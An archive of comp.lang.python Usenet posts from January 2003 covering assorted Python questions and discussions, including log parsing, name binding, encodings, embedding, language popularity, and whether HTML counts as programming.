Date: Wed, 15 Jan 2003 20:34:54 +0300 (MSK)
Subject: Common log parser?
In-Reply-To: <67446a0a.0301150635.3be8c039@posting.google.com>
Message-ID: <Pine.LNX.4.44L.0301152025270.19850-100000@localhost.localdomain>

On 15 Jan 2003, Boethius wrote:

B> Before I reinvent the wheel, is there any python parser for
B> the common
B> log format (apache logfiles)?

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/ppa/misc/LogParser.py?rev=HEAD&content-type=text/vnd.viewcvs-markup
http://www.uselesspython.com/gvr01.py
http://www.linuxgazette.com/issue83/tougher.html
http://groups.google.com/groups?q=apache+log&meta=group%3Dcomp.lang.python.%2A

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]





From sholden at holdenweb.com  Sun Jan 26 16:25:38 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Sun, 26 Jan 2003 21:25:38 GMT
Subject: Rewriting mail headers
References: <slrnb2rqgj.1ef.sna@localhost.localdomain>
Message-ID: <mnYY9.24299$Vh.10994@news2.central.cox.net>

Bring your musical instrument to PyCon!    http://www.python.org/pycon/

"Archeopteryx" <sna at bomb20.darkdomain> wrote in message
news:slrnb2rqgj.1ef.sna at localhost.localdomain...
> Hello everybody,
> I'm currently developing an automated spam complainer which is still in
> its infancy.
>
> The program parses the mail message and makes some checks trying to
> identify the origin of the message among the fake header lines.
>
> For diagnostic purposes I need to rewrite the subject field of the parsed
> message adding some characters.
>
> Is there a way (I'm using the email package) to do this with some python
> module?
>
> Thanks in advance
>

Please think very carefuloly before you let such technology loose on the
Internet. Will it really be helpful to start spamming the ISPs to get
something done about spam? Might it not be a more sensible approach to
filter out the spam you don't want to see using spambayes or similar
technology?

In my experience, the networks you want to do something about spam (i.e. the
ISPs tha host the spammers) are the ones that are least likely to action
your complaints, automated or not.

Just because we *can* do something doesn't always mean we *should* do it.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/






From chrisk at nipltd.com  Thu Jan 23 11:58:50 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Thu, 23 Jan 2003 16:58:50 +0000
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com> <dJHX9.7044$Sv3.695182@newsread1.prod.itd.earthlink.net>
Message-ID: <3E301F4A.3060803@nipltd.com>

Python is used all over the place

Redhat use a lot of python (tools like printconf), I'm sure other guys do.

Zope is almost all python,

There are several other apps written in python that are fairly 
mainstream, mailman etc...

I'm sure IBM do use Python, their guys write articles about it

I'm sure I've seen that NASA use Python (anyone?)

IBM will never use Python for everything... There are always times when 
another language will be better suited. Some more commercial backing 
would be nice I guess, to 'spread the word'.

Looking at somewhere like amazon.com you can see there are many more 
Python books than there were a few years ago. Thats a good sign, as are 
the number of people developing for python developers (see the IDE thread).

I tried going back to VB having worked with Python for a short while, 
and it sucked. The only thing I like about VB is the integration of the 
GUI with the code. I've never really figured out how to do that with Python.

Python isn't yet a major buzzword, but its good at what it does and it 
has a loyal and growing following. Millions may try C#, that just means 
there will be 1,000,000s of C# programmers around, all looking for work 
etc... Of course you could believe this report, much like the ones 
saying that windows would wipe out linux....



Brandon Van Every wrote:
> Alan James Salmoni wrote:
> 
>>It is also possible that the way in which a language operates is an
>>important factor: With Python, there is little need for third party
>>vendors as it comes with so much in the basic installation, and its
>>ease of learning reduces the need for courses.
> 
> 
> I'm not buying that argument.  Python clearly doesn't have as much mindshare
> as Java or C#.  There's a very simple reason for that: Java has the
> marketing power of Sun behind it, C# has the marketing power of Microsoft
> behind it.  Who's championing Python?  Python is just part of the balkanized
> freeware language landscape.  Until a giant corporation gets behind it, it
> can only grow by grassroots.
> 
> Suggestion: convince IBM that it wants to use Python for everything.
> 
> --
> Cheers,                         www.3DProgrammer.com
> Brandon Van Every               Seattle, WA
> 
> 20% of the world is real.
> 80% is gobbledygook we make up inside our own heads.
> 




From pu at myRealBox.com  Thu Jan 30 12:20:27 2003
From: pu at myRealBox.com (pu)
Date: Thu, 30 Jan 2003 18:20:27 +0100
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org>
Message-ID: <3e395f2a_2@news.vo.lu>

Hi,

as the "original poster", my personal conclusion is that a C++RAD would be
more "productive" as Python with a GUI library
- if my application is supposed to do a lot of GUI stuff
- and when the application has a "basic" logical flow.

But Alex's arguments could be mine; I do not think graphically, so maybe it
would'nt even be the case for me.

Thanks for saving me 3000$ and for all your answers (well, for most of
them...)
;-)





From tundra at tundraware.com  Sat Jan 18 19:50:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 19 Jan 2003 00:50:07 GMT
Subject: [win32all]: Getting file details
Message-ID: <qdsc0b.v9a.ln@boundary.tundraware.com>

Can some Kind Soul point me to a place which describes how to do the following,
presumably with win32all:

      1) Get the owner name and group name for file/directory ownership.
      2) Get the Windows permissions (RAHS ...) for a file/directory.
      3) Get the details for a *drive* (owner, group, volume name, total/free space)

TIA,
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From aleax at aleax.it  Wed Jan 29 16:44:00 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 21:44:00 GMT
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
References: <mailman.1043861157.12712.python-list@python.org> <v3gfedm4i5c56a@news.supernews.com>
Message-ID: <AWXZ9.138403$AA2.5717569@news2.tin.it>

John Roth wrote:
   ...
> worse, there are two frequently used tools that simply ignore tabs,
> thus totally obfuscating the indentation: Microsoft's Outlook Express,
> and Yahoo Groups.

KDE's KNode, at least up to 3.0.3, does much the same -- it basically
ignores tabs, more or less.  So, the mere fact that one is using e.g. a
Linux or BSD system does not suffice to ensure tabs will be shown...


Alex




From andrew at indranet.co.nz  Sun Jan  5 19:24:55 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 06 Jan 2003 13:24:55 +1300
Subject: Truth in dating (was: HELP! Must choose language!)
In-Reply-To: <v1gdaicshqmr47@corp.supernews.com>
References: <20030101042101.1615.84075.Mailman@mail.python.org>
 <mailman.1041399123.31276.python-list@python.org>
 <v1gdaicshqmr47@corp.supernews.com>
Message-ID: <2216650000.1041812695@localhost.localdomain>

I'm not sure when CGI was invented, but I wrote one in '92 :-)

We (University of Canterbury Physics, at the time) had been using a lot of 
Fortran (of course), C and Lisp, with a little Perl and lots of 
shellscripts for glue.  When Java arrived, the general impression was that 
it was a cute toy.  That's still basically my impression, it's mostly 
useful for UI work and areas where performance doesn't matter (there's lots 
of those, which is why Java is popular).

I'm just irritated I didn't find Python myself until '01.

Andrew

--On Sunday, January 05, 2003 13:38:26 +0000 Cameron Laird 
<claird at lairds.com> wrote:

> In article <mailman.1041399123.31276.python-list at python.org>,
> Terry Hancock  <hancock at anansispaceworks.com> wrote:
> 			.
> 			.
> 			.
>> Actually I'm sure all those languages will still be used by somebody,
>> but  relative popularity is fickle.  Just compare the current
>> marketplace with  where it was ten years ago (1993). Remember, that's
>> the year HTTP was first  deployed.  Linux was a fledgling and hardly
>> anyone had heard of Python (I  don't actually know when Python was
>> invented). Java was hardly known either.  Perl was around, but not that
>> widely used (because it was the web that made  it insanely popular).  I
>> don't think CGI had been invented, and C/C++  dominated the commercial
>> programming marketplace.  People who wanted to sound
> 			.
> 			.
> 			.
> I'll leave aside questions about the acceptance of
> C++ in commercial programming at the beginning of
> '93, and whether Perl was "widely used".
>
> I'm not sure what you mean by "deployed".  <URL:
> http://www.w3.org/History/19921103-hypertext/hypertext/WWW/Link.html >
> has been in *use* since late 1990.  In January 1993,
> there were over four dozen public HTTP server known.
> RFC 1945 specified HTTP 1.0 in 1996 (!), but it
> states, "HTTP has been in use ... since 1990."
>
> Guido invented Python in '90--he'd been designing
> it over the winter '89 holidays.  First public re-
> least was in 1991.  c.l.p was created in 1994.
>
> Sun formally announced Java at SunWorld '95 (May
> 23).  Usable forms of the language were in the
> lab around a year earlier (*not* in 1991, though
> you'll sometimes see that), but it was only early
> in 1995 that the name "Java" was adopted, or that
> outsiders had a chance to use it.
> --
>
> Cameron Laird <Cameron at Lairds.com>
> Business:  http://www.Phaseit.net
> Personal:  http://phaseit.net/claird/home.html
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From mwh at python.net  Fri Jan 31 13:15:57 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 18:15:57 GMT
Subject: Reliably getting/setting the (current) encoding name?
References: <mailman.1043989740.10681.python-list@python.org> <7h3znphwdtp.fsf@pc150.maths.bris.ac.uk> <mailman.1044034781.11512.python-list@python.org>
Message-ID: <7h365s5w5hw.fsf@pc150.maths.bris.ac.uk>

"Mike C. Fletcher" <mcfletch at rogers.com> writes:

> Michael Hudson wrote:
> 
> >"Mike C. Fletcher" <mcfletch at rogers.com> writes:
> >  
> >>The codecs module doesn't appear to have a "get default codec name"
> >>function.  So I'm asking the question:
> >>
> >>    How does one reliably get the currently-active default codec name
> >>    (i.e. the one that reflects the currently-set locale) as suitable
> >>    for use with uncode.encode( ... )?
> >>    
> >
> >I don't know the answer to this one, I'm afraid.
> >
>  >>> import sys
>  >>> sys.getdefaultencoding()
> 'ascii'
> 
> (Alex mentioned it in his post)

But that doesn't change to reflect the locale, which I thought was the
point of what you asked.

> >Here I'd say: don't add conversion code "all over the joint", add it
> >"at the edges", i.e. where the unicode strings get into your library.
> >
> ...
> 
> Yes, I'm not particularly infatuated with the idea of multi-line
> conversion hacks all over my libraries :) , the difficulty with using
> the "edges" is that the (GUI) library is constantly interacting with
> various wxTextCtrl objects, which, in the Unicode builds of wxPython
> are suddenly returning unicode instead of str objects, which means the
> Unicode strings are arriving all through the library, sometimes being
> directed at the object model, sometimes at status messages, sometimes
> to the logging system etc.  

That did occur to me as a possible problem.  Did we mention converting
your app to all-unicode-all-the-time?  Oh yes, I think you did.  Try
it: it might not be as hard as you think.  I was surprised how easy it
was to convert pyrepl.

> At the moment, I'm going to go down the path to evil and requiring
> the application to set a useful default encoding using the hack Alex
> pointed out.

Don't come running to us when, etc. :-)

Cheers,
M.

-- 
  The bottom tier is what a certain class of wanker would call
  "business objects" ...                      -- Greg Ward, 9 Dec 1999



From bokr at oz.net  Thu Jan 16 07:04:02 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 12:04:02 GMT
Subject: ...so would aliases be a bad idea? (Re: references / aliases in Python)
References: <f57664b9.0301141544.1f797188@posting.google.com> <lSdV9.2821$YI5.1170@news2.central.cox.net> <f57664b9.0301151625.65069704@posting.google.com>
Message-ID: <b0673i$t67$0@216.39.172.122>

On 15 Jan 2003 16:25:54 -0800, jbperez808 at yahoo.com (Jonathan P.) wrote:

>> The Python philosophy regarding poiner types is simple: there aren't any.
>> Names are references to values. Attributes of objects are references to
>> values. Elements of dictionaries, lists and tuples are references to values.
>> Values do not have names, they are simply bound by assignment (to names,
>> attributes of objects, or elements of dictionaries, lists and tuples). Each
>> value (object) has an associated reference counter, incremented and
>> decremented automatically as references are created and destroyed. When an
>> object's reference count reaches zero it becomes a candidate for garbage
>> collection. Special features allow collection of "cyclic garbage" to handle
>> the cases where a set of objects refer only to each other.
>
>So if one allows 2 different names to bind to the exact same object,
>would that be a bad idea?  There are many situations where one
The question, especially following the quote above, makes me think you don't
yet understand how names and objects relate in Python. Multiple names are
often bound to the same object in Python, and it's not a bad idea, but doing
so doesn't give you extra handles for changing the contents of a memory location
by using the bare names on the left hand side of an '=' in an assignment.

In other words

    name = xxx

does _NOT_ put xxx value in a location labeled name. What it does is tack
a little cardboard name tag on a particular cork-surfaced bulletin board, and
it ties a thread through a little eyelet in the name tag with a knot, and then
unreels enough thread to reach the xxx object and ties the other end to that.

Suppose the cork-surfaced board is the bulletin board on the wall of your
modular room, and xxx is your favorite chair object. Now tack up another
tag with another name on it, and also tie a thread from it to your chair.
Now maybe one tag says 'Jons_chair' and the other says
'Recliner_chair_#123439847_bought_by_Jon_from_Acme_Furniture_Jan_10_2003'

Tacking up more tags on the bulletin board does not do anything to the chair.

Now if you decide the recliner is too soft, and you want to replace it with
a wooden chair, you might want to write

    Jons_chair = wooden_chair

The effect is not to move the recliner out, however. The effect is to go to
the bulletin board and find the Jons_chair tag and detach its connecting thread
from the recliner and attach it instead to the wooden_chair object (found by
following the thread from the "wooden_chair" name tag on the bulletin board).

Now there's still two tags on the bulletin board, but the
'Recliner_chair_#123439847_bought_by_Jon_from_Acme_Furniture_Jan_10_2003' is
still connected by its thread to the old recliner. Changing the connection for
the Jons_chair alias tag didn't affect the big-name tag.

However, if you had added a pillow to the recliner instead, both name tag threads
would lead to a recliner with a pillow.

Now how did we find the actual wooden chair when we wrote

    Jons_chair = wooden_chair

? Well, wooden_chair in the source code is a name too, and we look for that name tag
on some bulletin board. Often, objects will have bulletin boards as part of their makeup,
like a little one on the back of a chair. To read a name tag on it, you use the attribute
notation. E.g.,

    Jons_chair.owner

is an expression that says go find the Johns_chair tag on the wall bulletin board (unless
you have entered another room via a function call) and follow the thread to the object,
then look for a name tag "owner" on the bulleting board that's part of the object, and
follow the connceting thread from that tag wherever it goes, namely to Jon, presumably.

Ok, now Jons_chair.owner is an "attribute chain" and we could write a short "alias" for that,
e.g.,

    jco = Jons_chair.owner

Which would mean going to the big board on the wall and putting a "jco" tag there and connecting
it by a cotton thread to the same place we got by the attribute chain, namely to Jon. So now
there is a nametag jco with a direct connection to Jon.

Now you might think that a handy way to change chair owner would be to do something via jco,
since that tag now leads to the owner, and you might be tempted to write
    jco = Jane
but that would just tie a new thread from the jco tag to wherever the Jane tag leads. It wouldn't
do anything to the notice on the chair's own little bulletin board, where the original owner tag is.
We'd have to write

    Jons_chair.owner = Jane

to make that change. Note that this assignment does not change the cotton thread from the
Jons_chair tag to the chair object. It merely uses that thread to get to the chair, where
the little bulletin board with the owner tag was. Now _that_ tag's cotton thread did get
its connection changed, from Jon to Jane.

Of course after this the Jons_chair tag on the wall becomes a little misleading in
its spelling, even though it would reliably lead to the same chair object, which may
be a different lesson in using names ;-)

>would like a shorter name to bind to an object which might otherwise
>be only referrable to only by a very long chain of attributes.
A long chain of attributes is not a single name, it's an expression involving
a series of different names. Think of each name as a tag on a bulletin board
with a thread leading to the next object, which has its own bulletin board for
name tags, etc., etc.

>
>>>> class A:
>      def __init__(self):
>        self.long_name1=5
>        self.long_name2=15
>      def f1(self):
>        alias1=&self.long_descriptive_name1  # alias1 and alias2 become
>        alias2=&self.long_descriptive_name2  # bound to the same objects as 
>        if alias1>alias2+1: alias1=alias2    # self.long_descriptive_name1 and
>                                             # self.long_descriptive_name2
>                                             # respectively
>
>the last 3 lines replacing the long and rather unreadable 
>(in practice it often gets much worse than shown below):
>
>      if self.long_descriptive_name1>self.long_descriptive_name2+1:
>        self.long_descriptive_name1=self.long_descriptive_name2
>
>If one objects to the & operator to generate an alias, one could always 
>use a function: 
>
>anAlias=alias(self.long_var_name_bound_to_integer)
>
>More comments...?
In terms of name tags and bulletin boards and cotton threads leading to objects,
what does an alias mean? You don't mean two tags whose cotton threads lead to
the same object, ISTM, though that is part of it (the read-only part). I think
the key thing is what you want an assignment to do, using an alias tag as if
it could change the way the original tag connects through its "cotton thread."

An ordinary assignment to a bare name can't do that, because it simply takes
the name and attaches its thread to something else.

There are ways to get a value change, but they all involve more than a bare name
on the left of an assignment. One way is to change an attribute name binding, as we
did with Jons_chair.owner. An object can also have a rack of eyelets to tie cotton
threads to, which lead to objects just like the cotton threads from name tags, except
the eyelets are not identified by name but by their position in the rack, starting
with position zero. If a thing has such an eyelet rack, you can pick up the start
of the i-th cotton thread at the i-th eyelet by writing thing[i]. If you want to
attach yourself to the third eyelet, you can write thing[2] = Jon and that will not
change the connection of the thing's name tag on the wall bulletin board. That is
just used to get to the object with the eyelet rack.

I've belabored a metaphor of bulletin boards (name spaces) and name tags (names)
connected by cotton threads (bound) to objects. I hope it helps show why

    alias = original.way.of.accessing.something

followed by

    alias = 123

doesn't change what you get if you re-evaluate the

    original.way.of.accessing.something

expression again. But that

    lbb = original.way.of.accessing # lbb meaning "last bulletin board in chain"

followed by

    lbb.something = 123

_would_ change what you get re-evaluating

    original.way.of.accessing.something

If you think about the tags and threads you can see why.

Regards,
Bengt Richter



From kumaran at yahoo.com  Mon Jan 20 09:49:40 2003
From: kumaran at yahoo.com (kumar)
Date: 20 Jan 2003 06:49:40 -0800
Subject: SHGetSpecialFolderLocation Question?
Message-ID: <85388c34.0301200649.6d95769c@posting.google.com>

The following python call always return "DESKTOP" as my personal
directory, where as it is a directory named "personal". Can some help
me with this?

Python 2.0 (#8, Oct 16 2000, 17:27:58) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
>>> from win32com.shell import shell, shellcon
>>> IDLList= shell.SHGetSpecialFolderLocation(shellcon.CSIDL_PERSONAL,
0)
>>> print "my_personal_dir =", shell.SHGetPathFromIDList(IDLList)
my_personal_dir = C:\WINNT\Profiles\kumar\DESKTOP
>>>

Thanks
Kumar



From imbosol at vt.edu  Tue Jan 21 17:53:47 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 21 Jan 2003 22:53:47 GMT
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <45577133.0301211213.14025e73@posting.google.com>
Message-ID: <%bkX9.3474$OI6.2200@nwrddc02.gnilink.net>

oofoe wrote:
> Hi!
> 
> jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301110959.5b1439da at posting.google.com>...
>> I agree with the fact that explicit use of self is good
>> for code readability, however it tends to make code lines
>> too long.  Since 'self' is just a convention, I wonder if
>> people out there have tried replacing it with a one-character
>> equivalent without encountering any problems.
> 
> I dislike the word 'self' for the method's object argument. It's
> clumsy to say and lends an unwarranted arrogance and formality
> to the method call. I prefer the much more friendly name 'my'.
> It's one letter longer than your preferred length, but it's
> very natural. To paraphrase Mark Twain, it's a name that's willing
> to roll up its sleeves, spit on its hands and get right to work,
> instead of setting out for a scenic sail across a vast ocean of
> verbose bureaucratese. See for yourself:
>
[snip]
> 
> I'm only half joking.


If I were starting a new language from scratch, I might actually go
for this convention.  Although the rule of thumb is that variable
names should be nouns, having the dispatching object be an adjective
is a nice way to set it apart.  It's also short.

(Actually, if I were starting a new language it would use
multimethods, but that's another story.)

But I always thought "self" was one of those conventions it's best not
to stray from.


-- 
CARL BANKS



From max at alcyone.com  Sat Jan 11 00:23:43 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 21:23:43 -0800
Subject: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com> <avo5ir$m9h$0@216.39.172.122>
Message-ID: <3E1FAA5F.F426AB6F@alcyone.com>

Bengt Richter wrote:

> Let's see how that looks:
> 
>     def foo(x, y=default; z=some_expression):
> 
> Not bad ;-)

If I understand correctly, you really want these additional parameters
to be what in C are local variables with static duration.  I certainly
don't object to the concept, but I really don't think that the right
place for it is in the function declaration, despite the obvious counter
(and inspiration) that some people use default parameters for just this
purpose.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Being in love for real / It ain't like a movie screen
\__/ India Arie
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From mystery at golden.net  Mon Jan  6 11:35:43 2003
From: mystery at golden.net (Etienne Charland)
Date: Mon, 6 Jan 2003 11:35:43 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com> <slrnb1go12.kv8.grante@localhost.localdomain> <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com> <mailman.1041828311.29580.python-list@python.org>
Message-ID: <hmiS9.107$4h.14478394@mantis.golden.net>

Some work is done to make .NET cross-platform: MONO

www.go-mono.com

"Cliff Wells" <clifford.wells at attbi.com> wrote in message
news:mailman.1041828311.29580.python-list at python.org...
> On Sun, 2003-01-05 at 13:55, Afanasiy wrote:
> > On 05 Jan 2003 16:37:08 GMT, Grant Edwards <grante at visi.com> wrote:
> >
> > >In article <d8mf1vsm6271d5m4nao9t91dcs7m865n82 at 4ax.com>, Afanasiy
wrote:
> > >> On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"
> > >
> > >> As far as I know, Python has nothing as good as the .NET WinForms
> > >> wrapping of native Win32 interface components. Mark Hammond has
wrapped
> > >> MFC, but that does not compare to WinForms.
> > >
> > >I don't know much about WinForms, but wxWindows and Gtk both provide
> > >nice frameworks around native Win32 UI components.
> >
> > Not really... Wx is fairly buggy and unstable,
>
> Hm.  Somehow I doubt this is the voice of experience.  I've used
> wxPython for over three years and haven't had any extraordinary
> problems. Any problems I have had have usually been resolved in some way
> within a respectable timeframe.  It certainly isn't bug-free, but if you
> are going to tell me anything shipped from Redmond is, I'll ROTFL.
>
> > and Gtk does not wrap native Win32 UI components.
>
> And WinForms wraps GTK+ components?  Might as well be consistent in our
> requirements.
>
> > Neither compare well to WinForms or Borland VCL.
>
> That may be.  I haven't tried either.  I suppose with Borland it's
> possible to develop a Linux app but I doubt a WinForms port is in the
> works <wink>.  When it does spring up, I may give it a spin.  Until then
> I'll stick with cross-platform tools.
>
> --
> Cliff Wells <clifford.wells at attbi.com>
>
>





From janto_d at hotmail.com  Wed Jan 22 19:02:34 2003
From: janto_d at hotmail.com (Janto Dreijer)
Date: 22 Jan 2003 16:02:34 -0800
Subject: logging module missing in 2.3a1
Message-ID: <f9068f8e.0301221602.3d97dbd@posting.google.com>

Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help
>>> import logging
Traceback (most recent call last):
  File "<pyshell#0>", line 1, in ?
    import logging
ImportError: No module named logging
>>> 

Eh? Is there something I'm missing?
Or is the actual code a bit behind wrt the documentation?



From shaun.fisherpmb at absamail.co.za  Sat Jan  4 03:48:15 2003
From: shaun.fisherpmb at absamail.co.za (Shaun Fisher)
Date: Sat, 4 Jan 2003 10:48:15 +0200
Subject: python and html
Message-ID: <3e169fed$0$231@hades.is.co.za>

Hi
I am very new to python and I was wondering if it is possible to use python
script in html. How is this done? Any help will be useful. I will be using
python on both windows and linux.

Thanx
Shaun Fisher






From ghillie at suse.de  Sun Jan  5 08:42:43 2003
From: ghillie at suse.de (Gernot Hillier)
Date: Sun, 05 Jan 2003 14:42:43 +0100
Subject: Embedded python: printing exceptions to a file?
Message-ID: <av9com$nrl$1@Fourier.suse.de>

Hi!

I use embedded python in my application and I'm really enthusiastic about it 
- the API is really well designed, thx. :-)

But now I have a small problem - I want to log errors from python scripts 
running in the embedded interpreter to a log file. 

All I found so far is PyErr_Print() which prints to sys.stderr.

I looked at its implementation - hoping to find a small function where I 
just could change sys.stderr to some open file and copy it to my 
application - but it seems to be rather complex so I think it's not wise to 
copy and modify all this code... :-((

So I see two ways:

- Perhaps there's a function provided which already provides an alternative 
to PyErr_Print()?

- Is there any easy & recommended way to let sys.stderr point to another 
open file object?

<OT>
I just wonder if it would be wise to splitup this newsgroup into some more 
specific subjects like (just suggestions)
- Python main (questions regarding the core Python functionality)
- Python-Newbie (installing, troubleshooting simple scripts, ...)
- Embedding/Extending python questions
- Additional modules
- ...

I really would like to read this group more actively - but it contains 
simply too much mails and too much things I'm not interested in...
</OT>

TIA!

-- 
Ciao,

Gernot



From alloydflanagan at attbi.com  Thu Jan 16 10:24:44 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 16 Jan 2003 07:24:44 -0800
Subject: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org>
Message-ID: <a8b7f07a.0301160724.424a1025@posting.google.com>

Jack Diederich <jack at performancedrivers.com> wrote in message news:<mailman.1042672181.22990.python-list at python.org>...

> using a list comprehension or zip().  Comprehensions always
> hurt readability (ALWAYS), and we don't need the speedup
> here so we do it explicitly.

Personally, I find list comprehensions to be both very readable and
compact.  Maybe it's a matter of how familiar you are with them.

x = [a[3].someMethod() for a in some_list if a[2] == y]

seems clearer than:

x = []
for a in some_list:
    if a[2] == y:
        x += a[3].someMethod()

after all, a list comprehension is less general than a for-loop, so
you know more about what it does before you read it.



From jsaul at gmx.de  Thu Jan 16 04:14:07 2003
From: jsaul at gmx.de (jsaul)
Date: Thu, 16 Jan 2003 10:14:07 +0100
Subject: Mixing Python and C: any easy way?
In-Reply-To: <CFN376368443311343@news.mindspring.com>
References: <CFN376368443311343@news.mindspring.com>
Message-ID: <20030116091407.GB842@jsaul.de>

* Carl Bevil [2003-01-16 05:15]:
> Am I overreacting here?  And is there a better way to do this?  If not SWIG,
> then what can do this task?  Am I asking for the impossible?  I've heard that
> Python is supposed to be good at interfacing with C/C++.  Can someone give me
> some pointers that will help me out here?

Remember that you don't need any extra tool at all to create the
necessary wrappers; just code them manually. I myself wanted to
use SWIG & Co. right from the beginning; but found it difficult
without having coded wrappers myself previously. Now I find that
a much better approach is to first code a number of wrappers
manually, which in most cases follows the same scheme. Only then
you will be able to fully understand and appreciate how SWIG
works. You might even find that the manual approach suits your
needs better.

Gru?, jsaul
-- 
Que le gusta rrrodarrr la errre.



From skip at pobox.com  Wed Jan  8 12:03:38 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 8 Jan 2003 11:03:38 -0600
Subject: global variable not seen (bug?)
In-Reply-To: <20030108155101.GA8856@foof.i3.cz>
References: <20030108155101.GA8856@foof.i3.cz>
Message-ID: <15900.23018.269123.443512@montanaro.dyndns.org>

    Michal> ---imported.py start---
    Michal>  def someFunction():
    Michal>     global GLOBAL_VARIABLE

    Michal>     print GLOBAL_VARIABLE
    Michal> ---imported.py end---

Somebody still has to actually assign a value to that name.  All the global
declaration does is tell the system that if you assign a value to the
variable to put it in the global scope of the module, not the local scope
(the function).  This would work:

    GLOBAL_VARIABLE = None
    def someFunction():
        print GLOBAL_VARIABLE

Skip




From marklists at mceahern.com  Tue Jan 21 10:10:51 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Tue, 21 Jan 2003 09:10:51 -0600
Subject: numbers with decimal points - question
In-Reply-To: <3E2D60CD.9020605@is.lg.ua>
Message-ID: <JHEOKEOOLIGLDHCMAHMOIENIFMAA.marklists@mceahern.com>

> price['Mon'][0] = 2.7
>
> when i print dict i see:
>
> {'Mon': {0: 2.7000000000000002}, 'Tue': {}}
>
> whats that? why no just 2.7?
> Any help and suggestions are very appreciated.

Read the Python FAQ regarding binary representation of floating point
numbers.

// m

-





From grante at visi.com  Thu Jan  2 18:32:40 2003
From: grante at visi.com (Grant Edwards)
Date: 02 Jan 2003 23:32:40 GMT
Subject: opening a text document to show a .txt file through a browserlink
References: <hcrP9.30944$Y2.1113@news2.bredband.com> <mailman.1041277439.30986.python-list@python.org> <3E10B410.E69EB572@alcyone.com> <mailman.1041288686.25278.python-list@python.org> <ahqqua.r04.ln@beastie.ix.netcom.com> <mailman.1041312425.5480.python-list@python.org> <7396d2b2.0212311127.13ebaa8@posting.google.com> <tyfd6nhdikf.fsf@lxplus047.cern.ch> <7396d2b2.0301021520.74988ef0@posting.google.com>
Message-ID: <3e14cc18$0$223$a1866201@newsreader.visi.com>

In article <7396d2b2.0301021520.74988ef0 at posting.google.com>, Lemniscate wrote:

> Since this is getting crazy, from now on, I am going to go by
> the definition of program as given on
> http://whatis.techtarget.com/definition/0,,sid9_gci212834,00.html
> 
> (excerpt) 'a program is a specific set of ordered operations
> for a computer to perform...(Note that a program is also a
> special kind of "data" that tells how to operate on
> "application or user data.") '
> 
> Okay, to me, based on this,
> HTML/XML/SGML/ECMAScrpt/ActionScript/C/C++/Java/VB/javascript/Python
> are all programming languages.  The 'mark-up' languages
> represent a specific set of ordered operation for a computer to
> perform (and thus, represent a program; which feels really odd
> to say, to be quite honest).

I'd have to disagree.  HTML does not specify operations.  It
more traditional programming parlance, it specifies delcares
data.

HTML does the equivalent of a C "program" that consists of
nothing but variable declarations:

------------------------------8<------------------------------
int i = 8;
char s[] = "Hi there";
------------------------------8<------------------------------

Notice that no operations are specified.  Only data types and
values. I wouldn't consider that a "program" using the cited
definition.

> Since a program can also be 'data',

IMO, that does not imply that any piece of data is also a
program.  A->B does not mean that B->A.

> It's interesting to note that the definition does NOT:
> 1) specify whether anything has to be Turing complete (heck, I've
> written tons of programs that aren't, but they use python and C, so
> are python and c not languages too>)
> 2) specify the need for the ability to calculate any numbers at all. 
> (once again, I would say 99% of all my codes doesn't calculate
> squares, are they not programs).

The definition does require the ability to specify operations.
IMO, When you write HTML you are only declaring data.  

There are some commonly used (and even officially specified)
conventions about what a browser is expected to _do_ with data
of various types, but the HTML source file does not specify
those operations.

> Feel free to disagree, I do (;-D).

OK :)

-- 
Grant Edwards                   grante             Yow!  Yow! Are you the
                                  at               self-frying president?
                               visi.com            



From plusk at radford.edu  Mon Jan 27 08:43:35 2003
From: plusk at radford.edu (Paul D. Lusk)
Date: 27 Jan 2003 13:43:35 GMT
Subject: Help compiling python on HPUX
References: <Xns930D74A3B3D60ID134675userdfncisd@130.133.1.4> <mailman.1043440087.31547.python-list@python.org>
Message-ID: <Xns931058C4C82B1ID134675userdfncisd@130.133.1.4>

Trent Mick <trentm at ActiveState.com> wrote in
news:mailman.1043440087.31547.python-list at python.org: 

> [Paul D. Lusk wrote]
>> A Google search showed that this problem could be fixed by linking
